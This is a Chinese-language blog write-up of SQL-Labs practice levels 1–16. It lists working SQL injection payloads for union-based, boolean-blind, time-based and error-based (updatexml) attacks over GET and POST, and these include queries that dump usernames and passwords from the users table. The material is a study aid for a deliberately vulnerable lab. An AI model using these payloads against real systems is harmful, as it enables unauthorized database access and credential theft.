SQL-Labs 通关总结与注入手法复盘
好久没写博客了。最近打 CTF 发现理论知识够用,但实操欠缺,于是回头重刷 SQL 靶场。以下是 SQL-Labs 的部分总结,记录思路、语法和踩坑点。
Less 1–4:联合查询注入(Union)
基础探测
?id=1' and 1=1 --+
?id=1' order by 4--+ -- 判断字段数联合查询爆库
?id=-1' union select 1,database(),1 --+
-- 返回:security爆表名
?id=-1' union select 1,group_concat(table_name),1
from information_schema.tables
where table_schema='security' --+
-- 返回:emails,referers,uagents,users爆字段
?id=-1' union select 1,group_concat(column_name),1
from information_schema.columns
where table_schema='security' and table_name='users' --+
-- 返回:id,username,password脱数据
?id=-1' union select 1,group_concat(password),1
from security.users --+小结:1–4 关主要练习 union select 的手工注入,必须保证联合查询的字段数与原始查询一致,加深对联合查询语法和 information_schema 的理解。
Less 5–8:布尔盲注
判断数据库名(逐字符爆破)
?id=1' and ascii(substr(database(),1,1))>130 --+- 根据页面回显(如
You are in)判断真假,逐个字符猜解。
延时注入(无回显时的替代)
?id=1' and if((ascii(substr(database(),1,1))>130), sleep(1), 1) --+- 适用于页面完全无差异的情况,通过响应时间判断。
爆表名(布尔)
?id=1' and ascii(substr(
(select table_name from information_schema.tables
where table_schema='security' limit 1,1), 1, 1)) > 100 --+爆字段(布尔)
?id=1' and ascii(substr(
(select column_name from information_schema.columns
where table_schema='security' and table_name='users' limit 1,1), 1, 1)) > 100 --+延时脱数据
?id=1' and if(
ascii(substr((select password from security.users limit 1,1), 1, 1)) > 10,
sleep(1), 1) --+小结:5–8 关是布尔盲注的经典练习,同时可思考如何编写脚本实现自动化二分查找。
Less 9–10:纯时间盲注
- 页面没有任何回显差异(无论对错,显示相同),只能用延时判断。
先测试基础延时:
?id=1' and 1=2 --+ -- 无差异 ?id=1' and sleep(1) --+ -- 出现延时
延时注入示例
?id=1' and if((ascii(substr(database(),1,1))>130), sleep(1), 1) --+Python 脚本思路:利用 time 库和 try...except 捕获超时,判断延时是否发生。
小结:9–10 关与前面盲注逻辑类似,重点在于掌握基础语法并尝试写脚本实现自动化。
Less 11–17:POST 注入
通用注意事项
- POST 注入,注意表单提交的数据格式。
- 建议使用 Burp Suite 重放,不要用浏览器的 URL 编码思维,直接写原始 payload。
- 注释符:多用
#或%23,少用--+(Burp 可能美化处理导致失败)。
探测闭合方式与布尔判断
uname=0' order by 3# &passwd=1&submit=Submit- 用
and 1=1/2#看页面返回差异(布尔盲注)。
延时注入中的逻辑坑(重点)
场景:1' and if(...) #
WHERE (username='1') AND ( if((1=1), sleep(1), 1) )- MySQL 短路求值:若
username='1'为假,后面if(sleep())不会执行,页面无延时。
正确姿势:使用 OR
1' or if((1=1), sleep(1), 1) #WHERE (username='1') OR ( if((1=1), sleep(1), 1) )- 因为
OR左侧为假,右侧才会执行,延时生效。
结论:进行布尔或时间判断时,优先使用 OR 或 XOR,且 Payload 中注释符推荐用 # 或 %23。
联合查询爆库(POST)
uname=1' union select database(),1 -- &passwd=1&submit=Submit爆表
uname=1' union select group_concat(table_name),1
from information_schema.tables
where table_schema='security'-- &passwd=1&submit=SubmitLess 12
闭合方式:")
uname=1") or sleep(1)# &passwd=1&submit=SubmitLess 13
闭合方式:'),支持报错注入
报错注入函数
- updatexml():
updatexml(任意数, 要执行的查询, 任意数) - extractvalue():类似用法
- floor() + rand() + group by(会随机失败,多试几次即可)
报错注入示例(Less 13)
uname=1' or updatexml(1, concat(0x7e, database(), 0x7e), 1) # &passwd=1&submit=Submit为什么要用 concat 加 ~(0x7e)?
updatexml第二个参数要求合法 XML 路径,~不合法,导致 MySQL 报错并将拼接结果~security~打印出来。- 若直接写
database(),字符串合法,不会触发报错,无法获取数据。
多表查询报错
uname=1') and updatexml(1, concat(0x7e,
(select group_concat(table_name)
from information_schema.tables
where table_schema=database()), 0x7e), 1) -- &passwd=1&submit=SubmitLess 14
闭合:"
uname=1" or sleep(1)# &passwd=1&submit=SubmitLess 15
闭合:',无报错回显 → 只能盲注
uname=1' or sleep(1)# &passwd=1&submit=SubmitLess 16
闭合:"),同样盲注
uname=1") or sleep(1)# &passwd=1&submit=Submittip:15、16 关没有数据库错误输出,只能将 GET 盲注的逻辑搬到 POST 中,用布尔或时间判断逐字爆破。
整体心得
- 熟练手工注入是基础,脚本自动化能大幅提升效率。
- 注意闭合方式(
'、"、')、"))和注释符的选择。 - 延时注入时,务必考虑 MySQL 短路求值,选择合适的逻辑运算符(
OR/XOR)。 - 报错注入中,
concat搭配非法字符是常规技巧。